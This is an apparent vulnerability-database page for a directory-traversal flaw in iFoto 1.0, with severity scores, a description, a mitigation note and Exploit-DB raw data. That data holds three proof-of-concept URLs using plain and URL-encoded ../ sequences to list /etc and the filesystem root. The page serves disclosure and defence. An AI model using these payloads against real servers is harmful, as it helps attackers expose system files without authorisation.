header-logo
Suggest Exploit
vendor:
iFoto
by:
5.5
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: iFoto
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

iFoto Directory Traversal Vulnerability

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

Mitigation:

It is recommended to update to a patched version of iFoto or apply a security fix provided by the vendor.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected. 

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../

Navigation

Suggest Exploit

Services By CQR